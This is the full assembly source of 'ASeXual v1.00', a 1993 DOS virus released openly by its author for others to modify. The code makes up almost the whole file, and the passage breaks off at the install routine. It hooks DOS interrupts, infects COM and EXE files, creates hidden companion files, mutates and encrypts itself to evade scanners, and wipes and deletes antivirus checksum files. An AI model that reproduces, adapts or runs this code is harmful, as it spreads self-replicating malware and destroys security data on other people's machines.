;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
;     ASeXuAl v1.00 - BY VIROGEN - 10-29-93
; ************************************************
;  - Compatible with : TASM /m
;
;        ASeXual v1.00
;     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;    Because of my ignorance I released the last version of ASeXual with
;  a MAJOR bug.. you would expierence very frequent system lockups not
;  to mention that infections of files in the root directory screwed them
;  all future generations.
;
;   new in this version:
;     - Lockup bugs fixed!
;     - root directory infections fixed!  (no longer infects spawning in root)
;     - spawning infections now return the correct return code from the EXE
;     - cosmetic changes
;     - no more error handler
;
;  characteristics:
;    This virus is a memory resident parastic COM infector and spawning
;   EXE infector. It is mutative.. with only 2 bytes remain constant
;   in replicated copies, but none in constant relative locations to the start
;   of viral code or to each other. It infects up to 5 files in the
;   current directory which a program is executed or a new drive is selected.
;   It first searches out EXE hosts, and if there are none to be infected,
;   it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
;   in the current directory are killed before any file is infected.   This
;   virus is also kept encrypted in memory to prevent easy detection of it
;   there too.     It's code is stored just below the 640k boundary.  There
;   will be a decrease of about 5k of total system memory when this virus is
;   resident.
;
;  activation:
;   This is a non-malicious virus and it's activation is simple.. On any
;   thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS,
;   and SCROLL LOCK) constantly while it is memory resident. It does not
;   infect files on thursdays.
;
;
;  As always I'm releasing the full source code to this virus.. which means
;  you are free to make modifications to it. Just give credit where credit
;  is due and have phun..
;

segment	    cseg
	    assume  cs: cseg, ds: cseg,es: cseg

signal	    equ	    6bh			    ; Installation check
reply	    equ	    0fah		    ; reply to check

max_inf	    equ	    05			    ; Maximum files to infect per run
max_rotation equ    9			    ; number of bytes in switch byte table
parastic    equ	    01			    ; Parastic infection
spawn	    equ	    00			    ; Spawning infection
heap_size   equ	    50h			    ; max heap size
	    org	    100h		    ; Leave room for PSP

start:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encryption/Decryption routine location
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fill_space  :
shit_space  db	    6 dup(0)		    ; help to keep TBAV warnings down
address_fill: jmp   non_res		    ; only in original compilation
	    db	    17 dup(0)		    ; MOV DI|SI placed here
encrypt:    	    			    ; For call from memory
cx_fill	    db	    20 dup(0)		    ; MOV CX,XXXX placed here
xor_inc_space db    100 dup(0)		    ; XOR and INC DI|SI(2) placed here
loop_fill   db	    10 dup(0)		    ; LOOP Placed Here
enc_data:
ret_byte    dw	    9090h		    ; Changes to RET (0C3h) - then back to NOP

jmp	    non_res 			    ; jump to nonresident code

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

new21	    proc    			    ; New INT 21H handler

	    cmp	    ah, signal		    ; signaling us?
	    jne	    no			    ; nope..
	    mov	    ah,reply		    ; yep, give our offspring what he wants
	    iret
	    no:
	    pushf   			    ; Push flags
	    push    ax			    ; Push regs
	    push    bx
	    push    cx
	    push    dx
	    push    di
	    push    si
	    push    bp
	    push    ds
	    push    es
	    push    sp
	    push    ss

	    cmp	    ah,0eh		    ; select disk?
	    je	    infect_call		    ; yes.. let's infect
	    cmp	    ax,4b00h		    ; exec?
	    jne	    exit_21		    ; nope.. don't infect shit
	    cmp	    ch,0fbh		    ; Is our virus executing this prog?
	    jne	    infect_call		    ; yes, return to orginal INT 21h

	    exit_21:
	    pop	    ss			    ; Pop regs
	    pop	    sp
	    pop	    es
	    pop	    ds
	    pop	    bp
	    pop	    si
	    pop	    di
	    pop	    dx
	    pop	    cx
	    pop	    bx
	    pop	    ax
	    popf    			    ; Pop flags
	    end_21  :
	    db	    0eah		    ; jump to original int 21h
old21_ofs   dw	    0			    ; Offset of old INT 21H
old21_seg   dw	    0			    ; Seg of old INT 21h
infect_call:
	    mov	    ah,2ah		    ; get date
	    int	    21h
	    cmp	    al,4		    ; thursday?
	    je	    chg_keyb
	    mov	    ah,2fh		    ; Get DTA Address
	    int	    21h			    ;
	    push    cs
	    pop	    ds
	    push    cs
	    pop	    es
	    mov	    word ptr old_dta,bx	    ; Save old dta offset
	    mov	    word ptr old_dta+2,es   ; /segment

	    call    encrypt_mem		    ; decrypt virus in memory
	    call    resident		    ; Call infection kernal
	    call    encrypt_mem		    ; encrypt virus in memory

	    lds	    dx,dword ptr old_dta    ; restore DTA segment/offset
	    mov	    ah,1ah		    ;
	    int	    21h			    ;
	    jmp	    exit_21

chg_keyb:
	    xor	    ax,ax
	    mov	    es,ax
	    mov	    dx,es: [416h]	    ; 0040:0016h - keyboard flags
	    ror	    dx,1		    ; rotate bits
	    mov	    es: [416h],dx	    ; store new flags
	    jmp	    exit_21

new21	    endp    			    ; End of handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encrypt/Decrypt - For memory encryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_mem proc
	    lea	    di,memory_encrypted
	    mov	    cx,(offset vend-offset memory_encrypted)/2
	    mem_xor_loop:
	    db	    81h,35h		    ; XOR word ptr [DI],
	    xor_mem dw 0		    ; XXXX : 0-5999
	    inc	    di			    ; increment pointer
	    inc	    di			    ; increment pointer
	    loop    mem_xor_loop	    ; loop..
	    ret	    			    ; return
encrypt_mem endp
memory_encrypted:   			    ; start encryption in memory here..

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; file pointer set
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
	    offset_zero:
	    xor	    al,al
	    jmp	    set_fp
	    offset_end:
	    mov	    al,02h
	    set_fp:
	    mov	    ah,42h
	    xor	    cx,cx
	    xor	    dx,dx
	    int	    21h
	    ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf:
	    mov	    word ptr fcb,0	    ; Clear ff/fn buffer
	    lea	    si, fcb
	    lea	    di, fcb+2
	    mov	    cx, 22
	    rep	    movsw
	    ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findfirst
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ff_func:

	    call    clear_buf		    ; Clear FCB

	    mov	    ah, 4eh		    ; Findfirst
	    xor	    cx, cx		    ; Set normal file attribute search
	    mov	    dx, fname_off
	    int	    21h

	    ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findnext
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fn_func:

	    mov	    ah,4fh		    ; find next file
	    int	    21h			    ;

	    ret

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Fills encryption/decryption routine
;
; call with AX=word to fill with
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_encryptor:
	    mov	    cx,78		    ; 156 bytes
	    lea	    di,fill_space	    ; beginning of null space
	    fill_loop:
	    stosw
	    loop    fill_loop		    ;

	    ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - Main infection kernal
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident    proc

	    	    			    ; Set DTA address - This is for the
	    mov	    ah, 1ah		    ; findfirst/findnext functions
	    lea	    dx, fcb
	    int	    21h

	    mov	    byte ptr vtype,spawn    ; infection type = spawning
	    mov	    word ptr set_bp,0000    ; BP=0000 on load
	    mov	    byte ptr inf_count,0    ; null infection count
	    mov	    fname_off, offset spec  ; Set search for CHKLIST.*
	    mov	    word ptr mov_di,offset enc_data ; offset past encrypt.

	    cont_res:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    mov	    cx,2		    ; keep track of which we've killed
	    kill_another_spec:
	    push    cx

	    call    ff_func		    ; find first

	    jc	    done_kill		    ; none found.. done
	    kill_loop:
	    mov	    ax,4301h		    ; Set file attributes to null
	    xor	    cx,cx		    ;
	    lea	    dx,f_name		    ;
	    int	    21h			    ;

	    mov	    ah,3ch		    ; create file = nullify size
	    xor	    cx,cx		    ;
	    lea	    dx,f_name		    ;
	    int	    21h			    ;
	    push    ax			    ; get handle
	    pop	    bx			    ;

	    mov	    ah,3eh		    ; close file
	    int	    21h			    ;

	    mov	    ah,41h		    ; delete the file to finish 'er off
	    lea	    dx,f_name		    ;
	    int	    21h			    ;
	    call    fn_func
	    jnc	    kill_loop		    ; if more then kill 'em

	    done_kill:
	    pop	    cx			    ; restore spec counter
	    mov	    fname_off,offset spec2  ; new file spec to kill
	    dec	    cx
	    jz	    kill_another_spec	    ; have we already killed both?

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; start finding files to infect
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


	    mov	    fname_off,offset fname1
	    find_first:
	    call    ff_func		    ; findfirst

	    jnc	    next_loop		    ; if still finding files then loop
	    jmp	    exit		    ; if not.. then end this infection
	    next_loop :
	    cmp	    byte ptr vtype, parastic ; parastic infection?
	    je	    start_inf		    ; yes, skip all this
	    cmp	    word ptr f_sizel,0	    ; Make sure file isn't 64k+
	    je	    ok_find		    ; for spawning infections
	    jmp	    no_infect

	    ok_find:

	    mov	    ah,47h		    ; get directory for
	    xor	    dl,dl		    ; ..spawning infections
	    lea	    si,file_dir		    ;
	    int	    21h			    ;

	    cmp	    byte ptr file_dir,0
	    jne	    not_root
	    jmp	    no_infect
	    not_root:
	    xor	    bx,bx		    ;
	    lm3	    :			    ; find end of directory name
	    inc	    bx			    ;
	    cmp	    file_dir[bx],0
	    jne	    lm3

	    mov	    file_dir[bx],'\'	    ; append backslash to path
	    inc	    bx

	    mov	    cx,13		    ; append filename to path
	    lea	    si,f_name
	    lea	    di,file_dir[bx]
	    rep	    movsb

	    xor	    bx,bx
	    loop_me: 			    ; search for filename ext.
	    inc	    bx
	    cmp	    byte ptr fcb+1eh [bx], '.'
	    jne	    loop_me

	    inc	    bx			    ; change it to COM
	    mov	    word ptr fcb+1eh [bx],'OC'
	    mov	    byte ptr fcb+1eh [bx+2],'M'
	    start_inf:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change jump & fill space register
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

	    cmp	    byte ptr new_code, 0bfh
	    jne	    inc_both
	    mov	    nop_sub, 3fh
	    mov	    byte ptr new_code, 0b7h
	    mov	    byte ptr push_reg, 4fh
inc_both:
	    inc	    nop_sub		    ; increment register
	    inc	    byte ptr new_code	    ; increment register
	    inc	    byte ptr push_reg	    ; increment register

	    cmp	    nop_sub, 044h	    ; don't use SP
	    je	    inc_both
done_change_jmp:

	    cmp	    byte ptr vtype, spawn   ; spawning infection?
	    jne	    parastic_inf

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Spawning infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    spawning:
	    mov	    word ptr new_code+1,offset fill_space

	    lea	    dx,f_name
	    mov	    cx, 00000011b	    ; read-only & hidden
	    mov	    ah, 3ch		    ; Create file
	    int	    21h			    ; Call INT 21H
	    jc	    p_no_infect		    ; If Error-probably already infected
	    inc	    inf_count
	    mov	    bx,ax

	    jmp	    encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Parastic infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
            p_no_infect : jmp no_infect
	    p_close : jmp close
	    parastic_inf :

	    lea	    si,f_name		    ; Is Command.COM?
	    lea	    di,com_name
	    mov	    cx,11
	    repe    cmpsb

	    je	    p_no_infect		    ; Yes, don't infect

	    mov	    ax,3d02h		    ; Open file for reading & writing
	    lea	    dx,f_name		    ; Filename in FF/FN buffer
	    int	    21h

	    jc	    p_no_infect		    ; error, skip infection

	    mov	    bx,ax		    ; get handle

	    mov	    ah,3fh		    ; Read first bytes of file
	    mov	    cx,07
	    lea	    dx,org_bytes
	    int	    21h

	    cmp	    byte ptr org_bytes+4,0c3h ; already infected?
	    je	    p_close		    ; yep..don't infect it

	    cont_inf:
	    inc	    inf_count
	    call    offset_end

	    mov	    word ptr set_bp,ax	    ; Change the MOV BP inst.
	    add	    ax, offset enc_data
	    mov	    word ptr mov_di,ax	    ; chg mov di,xxxx

	    call    offset_zero
	    mov	    ax,word ptr f_sizeh	    ; save new address for parastic
	    add	    ax,offset fill_space    ;
	    mov	    word ptr new_code+1,ax  ;

	    mov	    ah,40h		    ; write new first 7 bytes
	    mov	    cx,7		    ; .. jumps to virus code
	    lea	    dx,new_code		    ;
	    int	    21h			    ;

	    call    offset_end

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change encryptions ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_ops:
	    push    bx			    ; save file handle

	    cmp	    pad_bytes,100h	    ; no more increase in file size?
	    je	    reset_pad		    ; if yes, reset
	    inc	    word ptr pad_bytes	    ; Increase file size
	    inc	    word ptr b_wr	    ; make note of the increase
	    jmp	    pad_ok		    ; don't reset pad
	    reset_pad:
	    mov	    word ptr pad_bytes,0    ; reset pad size
	    sub	    word ptr b_wr,100h	    ; make note of decrease

	    pad_ok:

	    cmp	    inc_op,47h		    ; change ops from DI to SI
	    jne	    set2		    ; jmp-change ops to SI
	    dec	    inc_op		    ; .. change code to use DI
	    dec	    byte ptr xor_op+1	    ;
	    dec	    di_op		    ;
	    dec	    byte ptr enc_addr	    ;
	    dec	    byte ptr enc_add+1	    ;
	    jmp	    chg_three		    ;
	    set2:
	    inc	    inc_op		    ; increment code to use SI
	    inc	    byte ptr xor_op+1	    ;
	    inc	    di_op		    ;
	    inc	    byte ptr enc_addr	    ;
	    inc	    byte ptr enc_add+1	    ;

	    chg_three:
	    mov	    dh,byte ptr nop_sub	    ; which byte did we use to fill space?
	    cmp	    dh,48h		    ; if INC AX then we need to reset it
	    jne	    _change		    ; else decrement it
	    mov	    dh,40h		    ; reset to DEC AX
	    _change:
	    cmp	    dh,41h		    ; Don't use INC CX..
	    jne	    no_conflict		    ;
	    mov	    dh,48h		    ; Change it to DEC AX instead
	    no_conflict:
	    cmp	    dh,47h		    ; Don't use INC DI
	    jne	    no_conflict2	    ;
	    mov	    dh,4bh		    ; Use DEC BX Instead
	    no_conflict2:
	    cmp	    dh,46h		    ; Don't use INC SI
	    jne	    no_conflict3
	    mov	    dh,0fbh		    ; Use STI instead
	    no_conflict3:
	    mov	    dl,dh		    ; mov into word reg dx
	    push    dx
	    pop	    ax
	    call    clear_encryptor	    ; fill encryption routine with op

	    mov	    ah,inc_op		    ; get register to increment
	    mov	    bx,change_num	    ; get current rotate count
	    cmp	    bh,0		    ; are we at the end of the INCs?
	    jne	    no_reset_change	    ; nope.. continue
	    mov	    bh,99		    ; reset INC #1 position
	    xor	    bl,bl		    ; reset INC #2 position
	    no_reset_change:
	    inc	    bl			    ; Increment INC #2 position
	    dec	    bh			    ; Decrement INC #1 position
	    mov	    cl,bl		    ; store position in CL to add
	    xor	    ch,ch		    ; high byte = 0
	    lea	    si,xor_inc_space	    ;
	    push    si			    ; save address
	    push    si			    ; save it twice
	    add	    si,cx		    ; add INC #2 position to SI
	    mov	    byte ptr [si],ah	    ; move INC #2 into address
	    pop	    si			    ; restore address of fill_space
	    mov	    cl,bh		    ; store position in CL to add
	    xor	    ch,ch		    ; high byte = 0
	    add	    si,cx		    ; add INC #1 position to SI
	    mov	    byte ptr [si],ah	    ; move INC #1 into address
	    mov	    change_num,bx	    ; store updated rotation number

	    pop	    si			    ; get xor_inc_space address
	    mov	    ax,xor_pos		    ; get old position of XOR
	    cmp	    ax,95		    ; is it at the end of the buffer?
	    jne	    xor_ok		    ; nope.. increment its position
	    mov	    ax,10		    ; reset position to buffer+10
	    xor_ok:
	    inc	    ax			    ; increment position pointer
	    add	    si,ax		    ; build pointer
	    mov	    dx,word ptr xor_op	    ; get XOR op
	    mov	    byte ptr [si],02eh
	    mov	    [si+1],dx		    ; place it into position
	    mov	    xor_pos,ax		    ; save new XOR location

	    mov	    ax,addr_pos		    ; get old position of MOV DI|SI
	    cmp	    ax,17		    ; at end of buffer?
	    jne	    addr_inc		    ; nope.. go increment
	    xor	    ax,ax		    ; yes.. reset to null
	    addr_inc:
	    inc	    ax			    ; increment pointer
	    lea	    di,address_fill	    ; get buffer address
	    add	    di,ax		    ; build pointer
	    lea	    si,di_op		    ; get address of op
	    mov	    cx,3		    ; 3 bytes
	    rep	    movsb		    ; copy op to location in buffer
	    mov	    addr_pos,ax		    ; save new MOV DI|SI position

	    mov	    ax,cx_pos		    ; get old position of MOV CX
	    cmp	    ax,0		    ; back to beginning of buffer?
	    jne	    cx_dec		    ; nope.. decrement location
	    mov	    ax,17		    ; reset to last position in buffer
	    cx_dec:
	    dec	    ax			    ; decrement pointer
	    lea	    di,cx_fill		    ; get address of buffer
	    add	    di,ax		    ; build pointer to new location
	    lea	    si,cx_op		    ; get address of MOV CX op
	    mov	    cx,3		    ; 3 bytes length
	    rep	    movsb		    ; copy to new location
	    mov	    cx_pos,ax		    ; save new position of MOV CX

	    mov	    ax,loop_pos		    ; get old position of LOOP
	    cmp	    ax,0		    ; at beginning of buffer?
	    jne	    loop_inc		    ; nope decrement
	    mov	    ax,8		    ; reset to end of buffer
	    loop_inc:
	    dec	    ax			    ; decrement pointer
	    lea	    di,loop_fill	    ; get address of buffer
	    add	    di,ax		    ; build pointer
	    mov	    dl,0e2h		    ; 0E2XX=LOOP XXXX
	    xor	    ch,ch		    ; high byte=null
	    mov	    cl,9ah		    ; calculate LOOP offset
	    sub	    cx,ax		    ;
	    mov	    dh,cl		    ; save new offset
	    mov	    [di],dx		    ; write LOOP op
	    mov	    loop_pos,ax		    ; save new position of LOOP

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Get random XOR number, save it, copy virus, encrypt code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    d2:
	    mov	    ah,2ch		    ;
	    int	    21h			    ; Get random number from clock - sec/ms
	    lea	    si,xor_inc_space+3	    ; build pointer to XOR location+2
	    add	    si,xor_pos		    ;
	    mov	    word ptr [si],dx	    ; save encryption #
	    push    dx
	    mov	    word ptr xor_mem,0000

	    mov	    si,0100h		    ; 100h=start of virus in memory
	    lea	    di,vend+heap_size	    ; destination
	    mov	    cx,offset vend-100h	    ; bytes to move
	    rep	    movsb		    ; copy virus outside of code

	    pop	    dx
	    mov	    word ptr xor_mem,dx
	    enc_addr:
	    mov	    di,offset vend
	    enc_add:
	    add	    di,offset enc_data-100h+heap_size ; offset of new copy of virus
	    mov	    byte ptr ret_byte,0c3h  ; make encryption routine RET
	    call    encrypt		    ; encrypt new copy of virus
	    mov	    byte ptr ret_byte,90h   ; Reset it to no RETurn
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Write and close new infected file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    pop	    bx
	    mov	    cx, offset vend-100h    ; # of bytes to write
	    add	    cx, pad_bytes
	    lea	    dx, vend+heap_size	    ; Offset of buffer
	    mov	    ah, 40h		    ; -- our program in memory
	    int	    21h			    ; Call INT 21H function 40h

	    mov	    ax,5701h		    ; Restore data/time
	    mov	    cx,word ptr f_time	    ; time from FCB
	    mov	    dx,word ptr f_date	    ; date from FCB
	    int	    21h

	    close:
	    mov	    ah, 3eh		    ; close file
	    int	    21h

	    no_infect:
	    find_file:

	    cmp	    inf_count, max_inf	    ; Max files found?
	    je	    exit		    ; yes, end infection
	    call    fn_func
	    jc	    exit		    ; if no files found.. quit
	    jmp	    next_loop		    ; infect the next file

	    exit    :
	    cmp	    inf_count,0		    ; Start parastic infection on next run
	    jne	    find_done		    ; nope.. we're done
	    cmp	    byte ptr vtype, parastic ; Parastic infection done?
	    je	    find_done		    ; yep, exit already
	    mov	    fname_off, offset fname2 ; Point to new filespec
	    mov	    byte ptr vtype, parastic ; virus type = parastic
	    jmp	    find_first		    ; do it again for parastic

	    find_done:

	    xor	    ax,ax		    ; fill encryption routine with 0
	    call    clear_encryptor	    ; .. maybe help lessen IDed in memory?

	    ret	    			    ; return

resident    endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  Non-resident active code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
non_res	    proc

	    db	    0bdh		    ; MOV BP,xxxx - Load delta offset
set_bp:	    dw	    0000

	    mov	    ax,ds: 002ch	    ; Get environment address
	    mov	    par_blk[bp],ax	    ; Save in parameter block for exec

	    mov	    par1[bp],cs		    ; Save segments for spawn
	    mov	    par2[bp],cs
	    mov	    par_seg[bp],cs

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory
